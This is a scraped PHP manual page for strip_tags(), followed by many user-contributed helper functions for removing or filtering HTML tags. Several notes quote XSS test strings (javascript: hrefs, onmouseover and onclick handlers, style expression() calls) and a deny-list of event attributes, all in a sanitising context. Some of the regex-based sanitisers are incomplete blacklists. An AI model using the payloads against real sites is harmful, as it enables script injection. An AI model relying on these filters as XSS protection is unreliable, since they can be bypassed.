    echo "i told you, you cant create that file";
}
?>
maskedcoder at hotmail dot com 10-Oct-2005 04:13
useful for finding beginning of quotes and/or tags in a variable containing html.
    $pos = strcspn($data, '<"\'');
will find the first occurance of either the beginning of a tag, or a double- or single-quoted string.
strcoll
strip_tags
String Functions


Strip HTML and PHP tags from a string

strcspn
stripcslashes
String Functions
PHP Manual

strip_tags

(PHP 4, PHP 5)

strip_tags — Strip HTML and PHP tags from a string

Description

string strip_tags ( string $str [, string $allowable_tags ] )

This function tries to return a string with all NUL bytes, HTML and PHP tags stripped from a given str. It uses the same tag stripping state machine as the fgetss() function.

Parameters

str

The input string.

allowable_tags

You can use the optional second parameter to specify tags which should not be stripped.

Note:

HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with allowable_tags.

Note:

This parameter should not contain whitespace. strip_tags() sees a tag as a case-insensitive string between < and the first whitespace or >. It means that strip_tags("<br/>", "<br>") returns an empty string.

Return Values

Returns the stripped string.

Changelog

Version | Description
5.0.0 | strip_tags() is now binary safe
4.3.0 | HTML comments are now always stripped

Examples

Example #1 strip_tags() example

<?php
$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo strip_tags($text);
echo "\n";

// Allow <p> and <a>
echo strip_tags($text, '<p><a>');
?>

The above example will output:

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

Notes

Warning

Because strip_tags() does not actually validate the HTML, partial or broken tags can result in the removal of more text/data than expected.

Warning

This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.

See Also

  • htmlspecialchars() - Convert special characters to HTML entities

User Contributed Notes

Cubist 05-Jan-2012 07:31
Function to simply test if a given location index is inside a tag in the string

<?php
function in_tag($str,$index) {
    //test if $index occurs inside an html tag in $str

    $before = substr($str,0,$index);
    $after = substr($str,$index);

    $prev_lt = strrpos($before,'<');
    $next_lt = strpos($after,'<') + $index;

    $prev_gt = strrpos($before,'>');
    $next_gt = strpos($after,'>') + $index;

    return ($prev_gt < $prev_lt) && ($next_lt > $next_gt);
}
?>
Maddy Vora 13-Nov-2011 11:01
Here is the function created for strip tags with sub string

<?php
function displaySubStringWithStrip($string, $length=NULL)
{
    if ($length == NULL)
            $length = 50;

    $stringDisplay = substr(strip_tags($string), 0, $length);
    if (strlen(strip_tags($string)) > $length)
        $stringDisplay .= ' ...';
    return $stringDisplay;
}

?>
shimy1984 20-Oct-2011 09:40
The following is an easy way to use strip_tags() with a simple array or a multidimensional array.

<?php

function strip_tags_array($data, $tags = null)
{
    $stripped_data = array();
    foreach ($data as $value)
    {
        if (is_array($value))
        {
            $stripped_data[] = strip_tags_array($value, $tags);
        }
        else
        {
            $stripped_data[] = strip_tags($value, $tags);
        }
    }
    return $stripped_data;
}

?>
dhgouveia at hotmail dot com 10-Oct-2011 04:09
this is just for strip the inside tags

<?php
$allow = '<p><ul><li><b><strong>';

$str = '<p style="text-align:center">Paragraph</p><strong>Bold</strong><br/><span style="color:red">Red</span><h1>Header</h1>';

$result = strip_tags($str,$allow);
$result = clean_inside_tags($result,$allow);

echo '<textarea>'.$result.'</textarea>';

//Clean the inside of the tags
function clean_inside_tags($txt,$tags){

    preg_match_all("/<([^>]+)>/i",$tags,$allTags,PREG_PATTERN_ORDER);

    foreach ($allTags[1] as $tag){
        $txt = preg_replace("/<".$tag."[^>]*>/i","<".$tag.">",$txt);
    }

    return $txt;
}

?>
Anonymous 16-Jun-2011 01:12
If you want to strip ANSI escape color codes.
<?php
function strip_ansi($string) {
  return preg_replace('/\e\[[;?0-9]*[0-9A-Za-z]/', '', $string);
}
?>
aleksey at favor dot com dot ua 24-Feb-2011 01:06
strip_tags destroys the whole HTML behind the tags with invalid attributes. Like <img src="/images/image.jpg""> (look, there is an odd quote before >.)

So I wrote function which fixes unsafe attributes and replaces odd " and ' quotes with &quot; and &#39;.

<?php
function fix_unsafe_attributes($s) {
  $out = false;
  while (preg_match('/<([A-Za-z])[^>]*?>/', $s, $i, PREG_OFFSET_CAPTURE)) { // find where the tag begins
    $i = $i[1][1]+1;
    $out.= substr($s, 0, $i);
    $s = substr($s, $i);

    // scan attributes and find odd " and '
    while (((($i1 = strpos($s, '"')) || 1) && (($i2 = strpos($s, '\'')) || 1)) && ($i1 !== false || $i2 !== false) &&
           (($i = (int)(($i1 !== false) && ($i2 !== false) ? ($i1 < $i2 ? $i1 : $i2) : ($i1 == false ? $i2 : $i1))) !== false) &&
           ((($c = strpos($s, '>')) === false) || ($i < $c))) {

      $c = $s{$i};
      if (($i < 1) || ($s{$i-1} != '=')) {
        $out.= substr($s, 0, $i).($s{$i} == '"' ? '&quot;' : '&#39;'); // replace odd " and '
        $s = substr($s, $i+1);
      }else {
        $i++;
        $out.= substr($s, 0, $i);
        $s = substr($s, $i);

        if (($i = strpos($s, $c)) !== false) {
          $i++;
          $out.= substr($s, 0, $i);
          $s = substr($s, $i);
        }
      }
    }
  }
  return $out.$s;
}
?>

Maybe this function can be rewritten with simple regular expression but I have no luck to make it quickly.
Abdul Al-hasany 02-Feb-2011 11:44
As noted in the documentation strip_tags would strip php and comments tags even if they are add to $allowable_tags.

Here is a little workaround for this issue:
<?php
function stripTags($text, $tags)
{

  // replace php and comments tags so they do not get stripped
  $text = preg_replace("@<\?@", "#?#", $text);
  $text = preg_replace("@<!--@", "#!--#", $text);

  // strip tags normally
  $text = strip_tags($text, $tags);

  // return php and comments tags to their origial form
  $text = preg_replace("@#\?#@", "<?", $text);
  $text = preg_replace("@#!--#@", "<!--", $text);

  return $text;
}
?>

The function would replace the tags to hashes so strip_tags would not identify them as normal tags, and then when strip_tags does its job the tags are modified back to their original form.
Montana 31-Jan-2011 10:46
IMO, the function should allow you to remove any tag that you specify.  The structure could be something like this:

strip_tags($string,$allow_or_remove_listed,$list)

As an example:

<?php
$str = "<p><strong>This is a string.</strong> <a href="http://www.example.com/">Some Random Website</a>";
$str = strip_tags($str,"remove","<strong>");
echo $str;
?>

would remove the <strong> tag.
frank at silverwolf media ddoott comm 19-Nov-2010 02:30
Note that strip_tags may stumble when it encounters two consecutive quotes. Regardless of whether that's a bug or a feature (different PHP versions seem to behave differently) here's a workaround:

<?php
  $wtf = '
    <p>First line</p>
    <a href=\"foo">bar</a>
    <p>Second line</p>
    <a href=\"foo\"">bar</a>
    <p>Third line</p>
  ';
  echo 'Raw: ' . $wtf . "\n";
  echo 'strip_tags(): ' . strip_tags ($wtf);
  echo 'Regexp: ' . preg_replace ('/<[^>]*>/', '', $wtf);
?>

Raw output:

  <p>First line</p>
  <a href=\"foo">bar</a>
  <p>Second line</p>
  <a href=\"foo\"">bar</a>
  <p>Third line</p>

strip_tags() output:

  First line
  bar
  Third line

preg_replace() output:

  First line
  bar
  Second line
  bar
  Third line
tom at cowin dot us 27-Aug-2010 07:04
With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it...

<?php

    function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
    {
        mb_regex_encoding('UTF-8');
        //replace MS special characters first
        $search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
        $replace = array('\'', '\'', '"', '"', '-');
        $text = preg_replace($search, $replace, $text);
        //make sure _all_ html entities are converted to the plain ascii equivalents - it appears
        //in some MS headers, some html entities are encoded and some aren't
        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
        //try to strip out any C style comments first, since these, embedded in html comments, seem to
        //prevent strip_tags from removing html comments (MS Word introduced combination)
        if(mb_stripos($text, '/*') !== FALSE){
            $text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
        }
        //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be
        //'<1' becomes '< 1'(note: somewhat application specific)
        $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
        $text = strip_tags($text, $allowed_tags);
        //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one
        $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
        //strip out inline css and simplify style tags
        $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
        $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
        $text = preg_replace($search, $replace, $text);
        //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears
        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains
        //some MS Style Definitions - this last bit gets rid of any leftover comments */
        $num_matches = preg_match_all("/\<!--/u", $text, $matches);
        if($num_matches){
              $text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
        }
        return $text;
    }
?>
cyex at hotmail dot com 08-Jul-2010 03:40
I thought someone else might find this useful... a simple way to strip BBCode:

<?php

$bbcode_str = "Here is some [b]bold text[/b] and some [color=#FF0000]red text[/color]!";

$plain_text = strip_tags(str_replace(array('[',']'), array('<','>'), $bbcode_str));

//Outputs: Here is some bold text, and some red text!

?>
php at wizap dot com 16-Apr-2010 04:58
This could be overkill but this strips all HTML tags and gives you the option to preserve the ones you define. It also takes into account tags like <script> removing all the javascript, too! You can also strip out all the content between any tag that has an opening and closing tag, like <table>, <object>, etc.

<?php
    function remove_HTML($s , $keep = '' , $expand = 'script|style|noframes|select|option'){
        /**///prep the string
        $s = ' ' . $s;

        /**///initialize keep tag logic
        if(strlen($keep) > 0){
            $k = explode('|',$keep);
            for($i=0;$i<count($k);$i++){
                $s = str_replace('<' . $k[$i],'[{(' . $k[$i],$s);
                $s = str_replace('</' . $k[$i],'[{(/' . $k[$i],$s);
            }
        }

        //begin removal
        /**///remove comment blocks
        while(stripos($s,'<!--') > 0){
            $pos[1] = stripos($s,'<!--');
            $pos[2] = stripos($s,'-->', $pos[1]);
            $len[1] = $pos[2] - $pos[1] + 3;
            $x = substr($s,$pos[1],$len[1]);
            $s = str_replace($x,'',$s);
        }

        /**///remove tags with content between them
        if(strlen($expand) > 0){
            $e = explode('|',$expand);
            for($i=0;$i<count($e);$i++){
                while(stripos($s,'<' . $e[$i]) > 0){
                    $len[1] = strlen('<' . $e[$i]);
                    $pos[1] = stripos($s,'<' . $e[$i]);
                    $pos[2] = stripos($s,$e[$i] . '>', $pos[1] + $len[1]);
                    $len[2] = $pos[2] - $pos[1] + $len[1];
                    $x = substr($s,$pos[1],$len[2]);
                    $s = str_replace($x,'',$s);
                }
            }
        }

        /**///remove remaining tags
        while(stripos($s,'<') > 0){
            $pos[1] = stripos($s,'<');
            $pos[2] = stripos($s,'>', $pos[1]);
            $len[1] = $pos[2] - $pos[1] + 1;
            $x = substr($s,$pos[1],$len[1]);
            $s = str_replace($x,'',$s);
        }

        /**///finalize keep tag
        for($i=0;$i<count($k);$i++){
            $s = str_replace('[{(' . $k[$i],'<' . $k[$i],$s);
            $s = str_replace('[{(/' . $k[$i],'</' . $k[$i],$s);
        }

        return trim($s);
    }
?>
LWC 01-Mar-2010 07:07
Here is support for stripping content for the reverse strip_tags function:

<?php
function strip_only($str, $tags, $stripContent = false) {
    $content = '';
    if(!is_array($tags)) {
        $tags = (strpos($str, '>') !== false ? explode('>', str_replace('<', '', $tags)) : array($tags));
        if(end($tags) == '') array_pop($tags);
    }
    foreach($tags as $tag) {
        if ($stripContent)
             $content = '(.+</'.$tag.'[^>]*>|)';
         $str = preg_replace('#</?'.$tag.'[^>]*>'.$content.'#is', '', $str);
    }
    return $str;
}

$str = '<font color="red">red</font> text';
$tags = 'font';
$a = strip_only($str, $tags); // red text
$b = strip_only($str, $tags, true); // text
?>

Note this function always assumed no two tags start the same way (e.g. <bla> and <blas>) and therefore censors blas along with bla.
Steve 16-Sep-2009 10:03
Here is a function like strip_tags, only it removes only the tags (with attributes) specified:

<?php
function strip_only($str, $tags) {
    if(!is_array($tags)) {
        $tags = (strpos($str, '>') !== false ? explode('>', str_replace('<', '', $tags)) : array($tags));
        if(end($tags) == '') array_pop($tags);
    }
    foreach($tags as $tag) $str = preg_replace('#</?'.$tag.'[^>]*>#is', '', $str);
    return $str;
}

$str = '<p style="text-align:center">Paragraph</p><strong>Bold</strong><br/><span style="color:red">Red</span><h1>Header</h1>';

echo strip_only($str, array('p', 'h1'));
echo strip_only($str, '<p><h1>');
?>

Both return:
Paragraph<strong>Bold</strong><br/><span style="color:red">Red</span>Header

Hope this helps somebody else
roly426 at gmail dot com 09-Jun-2009 03:41
To check for broken tags an easier approach would be to use xml_parse(). You can also get a descriptive error with xml_get_error_code().
magus at otserv dot com dot br 07-Jun-2009 12:41
Here's a function that verify if in a string have broken HTML tags, returning true if do. Useful for previning broken tags to affect the page.

<?php
# Example usage: broken_tags("<b>This is a string</u>") returns TRUE, broken_tags("<b>This is a string</b>") returns FALSE.
function broken_tags($str)
{
    preg_match_all("/(<\w+)(?:.){0,}?>/", $str, $v1);
    preg_match_all("/<\/\w+>/", $str, $v2);
    $open = array_map('strtolower', $v1[1]);
    $closed = array_map('strtolower', $v2[0]);
    foreach ($open as $tag)
    {
        $end_tag = preg_replace("/<(.*)/", "</$1>", $tag);
        if (!in_array($end_tag, $closed)) return true;
        unset($closed[array_search($end_tag, $closed)]);
    }
    return false;
}
?>
brettz9 AAT yah 05-Apr-2009 08:10
Works on shortened <?...?> syntax and thus also will remove XML processing instructions.
hongong at webafrica dot org dot za 26-Mar-2009 12:52
An easy way to clean a string of all CDATA encapsulation.

<?php
function strip_cdata($string)
{
    preg_match_all('/<!\[cdata\[(.*?)\]\]>/is', $string, $matches);
    return str_replace($matches[0], $matches[1], $string);
}
?>

Example: echo strip_cdata('<![CDATA[Text]]>');
Returns: Text
nathan@8 08-Mar-2009 10:55
Improperly formatted javascript being add to tags and the limit of 15 instences of recursion before memory allocation runs out are some of the concerns involved in coding.  Here is the code that I created to leave tags intact but strip scripting from only inside the tags...

<?php
function strip_javascript($filter){

    // realign javascript href to onclick
    $filter = preg_replace("/href=(['\"]).*?javascript:(.*)?
\\1/i", "onclick=' $2 '", $filter);

    //remove javascript from tags
    while( preg_match("/<(.*)?javascript.*?\(.*?((?>[^()]+)
|(?R)).*?\)?\)(.*)?>/i", $filter))
        $filter = preg_replace("/<(.*)?javascript.*?\(.*?((?>
[^()]+)|(?R)).*?\)?\)(.*)?>/i", "<$1$3$4$5>", $filter);

    // dump expressions from contibuted content
    if(0) $filter = preg_replace("/:expression\(.*?((?>[^
(.*?)]+)|(?R)).*?\)\)/i", "", $filter);

    while( preg_match("/<(.*)?:expr.*?\(.*?((?>[^()]+)|(?
R)).*?\)?\)(.*)?>/i", $filter))
        $filter = preg_replace("/<(.*)?:expr.*?\(.*?((?>[^()]
+)|(?R)).*?\)?\)(.*)?>/i", "<$1$3$4$5>", $filter);

    // remove all on* events
    while( preg_match("/<(.*)?\s?on.+?=?\s?.+?(['\"]).*?\\2
\s?(.*)?>/i", $filter) )
       $filter = preg_replace("/<(.*)?\s?on.+?=?\s?.+?
(['\"]).*?\\2\s?(.*)?>/i", "<$1$3>", $filter);

    return $filter;
}
?>

As you can see this does not clean up correctly... it does
however remove dangerous stuff...

<a href=javascript: { {({}{}()())}alert('xss') ) ) }>

<div onload..;,;..'alert(\"xss_attack\");'>

<a href='javascript:{ alert(\"xss_attack\"); otherxss();}'
 onclick= 'alert(\"xss_attack\");' onhover='alert
(\"xss_attack\");' onmouseout=alert(\"xss_attack\")
class='thisclass'> link</a>

style='width:expression(alert(\"xss_attack\"));'

This can be completed before using strip_tags().
kai at froghh dot de 06-Mar-2009 08:45
a function that decides if < is a start of a tag or a lower than / lower than + equal:

<?php
function lt_replace($str){
    return preg_replace("/<([^[:alpha:]])/", '&lt;\\1', $str);
}
?>

It's to be used before strip_slashes.
mehul dot g12 at gmail dot com 03-Mar-2009 03:22
Strip tags doesn't work fine if we have '<' symbol in the string followed immediately by any letter. but it doed work fine if there is a space after '<' symbol. e.g.

<?php
strip_tags('<p>1<4</p>');  //won't work fine
strip_tags('<p>1 < 4</p>');  //will work fine
?>

to solve this problem, I used a simple logic. This code will replace '<' by html char, if it not a part of html tag.

My version of strip_tags is as follow:

<?php
function my_strip_tags($str) {
    $strs=explode('<',$str);
    $res=$strs[0];
    for($i=1;$i<count($strs);$i++)
    {
        if(!strpos($strs[$i],'>'))
            $res = $res.'&lt;'.$strs[$i];
        else
            $res = $res.'<'.$strs[$i];
    }
    return strip_tags($res);
}
?>
CEO at CarPool2Camp dot org 17-Feb-2009 11:10
Note the different outputs from different versions of the same tag:

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br>');
var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br/>');
var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
Leendert W 26-Jan-2009 02:51
Maybe also a usefull function for someone.

<?php
function removeUnsafeAttributesAndGivenTags($input, $validTags = '')
{
    $regex = '#\s*<(/?\w+)\s+(?:on\w+\s*=\s*(["\'\s])?.+?
\(\1?.+?\1?\);?\1?|style=["\'].+?["\'])\s*>#is';
    return preg_replace($regex, '<${1}>',strip_tags($input, $validTags));
}
?>
phzzyzhou at gmail dot com 17-Jan-2009 02:01
strip_tags will strip '<' and the string behind, like this

<?php
$str = <<<EOF
123 < 456
<a>link</a>
bbb
EOF;

echo strip_tags($str);
?>

will output:
123

---------------------------------
this function will repiar this

<?php
function will_strip_tags($str) {
    do {
        $count = 0;
        $str = preg_replace('/(<)([^>]*?<)/' , '&lt;$2' , $str , -1 , $count);
    } while ($count > 0);
    $str = strip_tags($str);
    $str = str_replace('>' , '&gt;' , $str);
    return $str;
}

echo will_strip_tags($str);
?>

will output:
123 &lt; 456
link
bbb
tleblan at pricegrabber dot com 13-Jan-2009 07:03
I think it is worth mentioning that if some tags are allowed using the second parameter, this function does not allow to strip attributes within the allowed tags and hence should not be used against XSS vulnerabilities.

One can still execute javascript by 2 means:
- by inserting attributes that typically accept javascript
  >> onClick="alert('XSS');"
- by using styles
  >> style="width:expression(alert('XSS'));" (works on IE7 and probably other versions)
mariusz.tarnaski at wp dot pl 12-Nov-2008 08:05
Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

  preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
  $tags = array_unique($tags[1]);

  if(is_array($tags) AND count($tags) > 0) {
    if($invert == FALSE) {
      return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
    }
    else {
      return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
    }
  }
  elseif($invert == FALSE) {
    return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
  }
  return $text;
}
?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
 text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
 text with <div>tags</div>

I hope that someone is useful :)
lucky760 at VideoSift dot com 20-Oct-2008 10:21
It's come to my attention that PHP's strip_tags has been doing something funky to some video embed codes that our members submit. I'm not sure the exact situation, but whenever there is a <param> tag that is very long, strip_tags() will completely remove the tag even though it's specified as an allowable tag.

Here's an example of the existing problem:
<?php
// a single very long <param> tag
$html =<<<EOF
<param name="flashVars" value="skin=http%3A//cdn-i.dmdentertainm
...[snip]...
vie%20of%20All-Time"/>
EOF;

echo strip_tags($html, '<param>');
// this outputs an empty string
?>

This is the function I built to fix and extend the functionality of strip_tags(). The args are:
- $i_html - the HTML string to be parsed
- $i_allowedtags - an array of allowed tag names
- $i_trimtext - whether or not to strip all text outside of the allowed tags

<?php

function real_strip_tags($i_html, $i_allowedtags = array(), $i_trimtext = FALSE) {
  if (!is_array($i_allowedtags))
    $i_allowedtags = !empty($i_allowedtags) ? array($i_allowedtags) : array();
  $tags = implode('|', $i_allowedtags);

  if (empty($tags))
    $tags = '[a-z]+';

  preg_match_all('@</?\s*(' . $tags . ')(\s+[a-z_]+=(\'[^\']+\'|"[^"]+"))*\s*/?>@i', $i_html, $matches);

  $full_tags = $matches[0];
  $tag_names = $matches[1];

  foreach ($full_tags as $i => $full_tag) {
    if (!in_array($tag_names[$i], $i_allowedtags))
      if ($i_trimtext)
        unset($full_tags[$i]);
      else
        $i_html = str_replace($full_tag, '', $i_html);
  }

  return $i_trimtext ? implode('', $full_tags) : $i_html;
}
?>

And here's an example with the a block of full video embed code with <object><embed><param> and some extraneous HTML:

<?php
$html =<<<EOF
<em><div><object type="application/x-shock
...[snip]...
me.html">Wal-Mart Makes The Worst Movie of All-Time</a> -- powered by whatever</div></em>
EOF;

$good_html = real_strip_tags($html, array('object', 'embed', 'param'), TRUE);

?>

Now $good_html contains only the specified tags and none of the "powered by" type text. I hope someone finds this as useful as I needed it to be. :)
southsentry at yahoo dot com 25-Sep-2008 09:15
I was looking for a simple way to ban html from review posts, and the like. I have seen a few classes to do it. This line, while it doesn't strip the post, effectively blocks people from posting html in review and other forms.

<?php
if (strlen(strip_tags($review)) < strlen($review)) {
    return false;
}
?>

If you want to further get by the tricksters that use & for html links, include this:

<?php
if (strlen(strip_tags($review)) < strlen($review)) {
        return false;
} elseif ( strpos($review, "&") !== false) {
        return 5;
}
?>

I hope this helps someone out!
Liam Morland 23-Aug-2008 05:58
Here is a suggestion for getting rid of attributes: After you run your HTML through strip_tags(), use the DOM interface to parse the HTML. Recursively walk through the DOM tree and remove any unwanted attributes. Serialize the DOM back to the HTML string.

Don't make the default permit mistake: Make a list of the attributes you want to ALLOW and remove any others, rather than removing a specific list, which may be missing something important.
Kalle Sommer Nielsen 30-Mar-2008 02:05
This adds alot of missing javascript events on the strip_tags_attributes() function from below entries.

Props to MSDN for lots of them ;)

<?php
function strip_tags_attributes($sSource, $aAllowedTags = array(), $aDisabledAttributes = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'))
    {
        if (empty($aDisabledAttributes)) return strip_tags($sSource, implode('', $aAllowedTags));

        return preg_replace('/<(.*?)>/ie', "'<' . preg_replace(array('/javascript:[^\"\']*/i', '/(" . implode('|', $aDisabledAttributes) . ")[ \\t\\n]*=[ \\t\\n]*[\"\'][^\"\']*[\"\']/i', '/\s+/'), array('', '', ' '), stripslashes('\\1')) . '>'", strip_tags($sSource, implode('', $aAllowedTags)));
    }
?>
bstrick at gmail dot com 15-Jan-2008 09:52
This will strip all PHP and HTML out of a file.  Leaves only plain txt.

<?php
// Open the search file
$file = fopen($filename, 'r');

// Get rid of all PHP code.
$search = array('/<\?((?!\?>).)*\?>/s');

$text = fread($file, filesize($filename));

$new = strip_tags(preg_replace($search, '', $text));

echo $new;

fclose($file);
?>

- Strick
David 05-Nov-2006 11:29
<?php

    /**
     * strip_selected_tags ( string str [, string strip_tags[, strip_content flag]] )
     * ---------------------------------------------------------------------
     * Like strip_tags() but inverse; the strip_tags tags will be stripped, not kept.
     * strip_tags: string with tags to strip, ex: "<a><p><quote>" etc.
     * strip_content flag: TRUE will also strip everything between open and closed tag
     */
    public function strip_selected_tags($str, $tags = "", $stripContent = false)
    {
        preg_match_all("/<([^>]+)>/i",$tags,$allTags,PREG_PATTERN_ORDER);
        foreach ($allTags[1] as $tag){
            if ($stripContent) {
                $str = preg_replace("/<".$tag."[^>]*>.*<\/".$tag.">/iU","",$str);
            }
            $str = preg_replace("/<\/?".$tag."[^>]*>/iU","",$str);
        }
        return $str;
    }

?>
jausions at php dot net 18-Sep-2006 11:57
To sanitize any user input, you should also consider PEAR's HTML_Safe package.

http://pear.php.net/package/HTML_Safe
admin at automapit dot com 09-Aug-2006 10:01
<?php
function html2txt($document){
$search = array('@<script[^>]*?>.*?</script>@si',  // Strip out javascript
               '@<[\/\!]*?[^<>]*?>@si',            // Strip out HTML tags
               '@<style[^>]*?>.*?</style>@siU',    // Strip style tags properly
               '@<![\s\S]*?--[ \t\n\r]*>@'         // Strip multi-line comments including CDATA
);
$text = preg_replace($search, '', $document);
return $text;
}
?>

This function turns HTML into text... strips tags, comments spanning multiple lines including CDATA, and anything else that gets in it's way.

It's a frankenstein function I made from bits picked up on my travels through the web, thanks to the many who have unwittingly contributed!
JeremysFilms.com 07-Apr-2006 01:57
A simple little function for blocking tags by replacing the '<' and '>' characters with their HTML entities.  Good for simple posting systems that you don't want to have a chance of stripping non-HTML tags, or just want everything to show literally without any security issues:

<?php

function block_tags($string){
    $replaced_string = str_ireplace('<','&lt',$string);
    $replaced_string = str_ireplace('>','&gt',$replaced_string);
    return $replaced_string;
}

echo block_tags('<b>HEY</b>'); //Returns &ltb&gtHEY&lt/b&gt

?>
cesar at nixar dot org 07-Mar-2006 11:44
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
    array_map('strip_tags_deep', $value) :
    strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>
salavert at~ akelos 13-Feb-2006 02:21
<?php
       /**
    * Works like PHP function strip_tags, but it only removes selected tags.
    * Example:
    *     strip_selected_tags('<b>Person:</b> <strong>Salavert</strong>', 'strong') => <b>Person:</b> Salavert
    */

    function strip_selected_tags($text, $tags = array())
    {
        $args = func_get_args();
        $text = array_shift($args);
        $tags = func_num_args() > 2 ? array_diff($args,array($text))  : (array)$tags;
        foreach ($tags as $tag){
            if(preg_match_all('/<'.$tag.'[^>]*>(.*)<\/'.$tag.'>/iU', $text, $found)){
                $text = str_replace($found[0],$found[1],$text);
          }
        }

        return $text;
    }

?>

Hope you find it useful,

Jose Salavert
webmaster at tmproductionz dot com 01-Feb-2006 07:28
<?php

function remove_tag ( $tag , $data ) {

    while ( eregi ( "<" . $tag , $data ) ) {

        $it    = stripos ( $data , "<" . $tag   ) ;

        $it2   = stripos ( $data , "</" . $tag . ">" ) + strlen ( $tag ) + 3 ;

        $temp  = substr ( $data , 0    , $it  ) ;

        $temp2 = substr ( $data , $it2 , strlen ( $data ) ) ;

        $data = $temp . $temp2 ;

    }

    return $data ;

}

?>

this code will remove only and all of the specified tag from a given haystack.
10-Aug-2005 12:08
<?php
/**removes specifed tags from the text where each tag requires a
     *closing tag and if the later
     *is not found then everything after will be removed
     *typical usage:
     *some html text, array('script','body','html') - all lower case*/
    public static function removeTags($text,$tags_array){
        $length = strlen($text);
        $pos =0;
        $tags_array = $array_flip($tags_array);
        while ($pos < $length && ($pos = strpos($text,'<',$pos)) !== false){
            $dlm_pos = strpos($text,' ',$pos);
            $dlm2_pos = strpos($text,'>',$pos);
            if ($dlm_pos > $dlm2_pos)$dlm_pos=$dlm2_pos;
            $which_tag = strtolower(substr($text,$pos+1,$dlm_pos-($pos+1)));
            $tag_length = strlen($srch_tag);
            if (!isset($tags_array[$which_tag])){
                //if no tag matches found
                ++$pos;
                continue;
            }
            //find the end
            $sec_tag = '</'.$which_tag.'>';
            $sec_pos = stripos($text,$sec_tag,$pos+$tag_length);
            //remove everything after if end of the tag not found
            if ($sec_pos === false) $sec_pos = $length-strlen($sec_tag);
            $rmv_length = $sec_pos-$pos+strlen($sec_tag);
            $text = substr_replace($text,'',$pos,$rmv_length);
            //update length
            $length = $length - $rmv_length;
            $pos++;
        }
        return $text;
    }
?>
anonymous 27-May-2005 12:45
Someone can use attributes like CSS in the tags.
Example, you strip all tagw except <b> then a user can still do <b style="color: red; font-size: 45pt">Hello</b> which might be undesired.

Maybe BB Code would be something.
eric at direnetworks dot com 20-Dec-2004 06:36
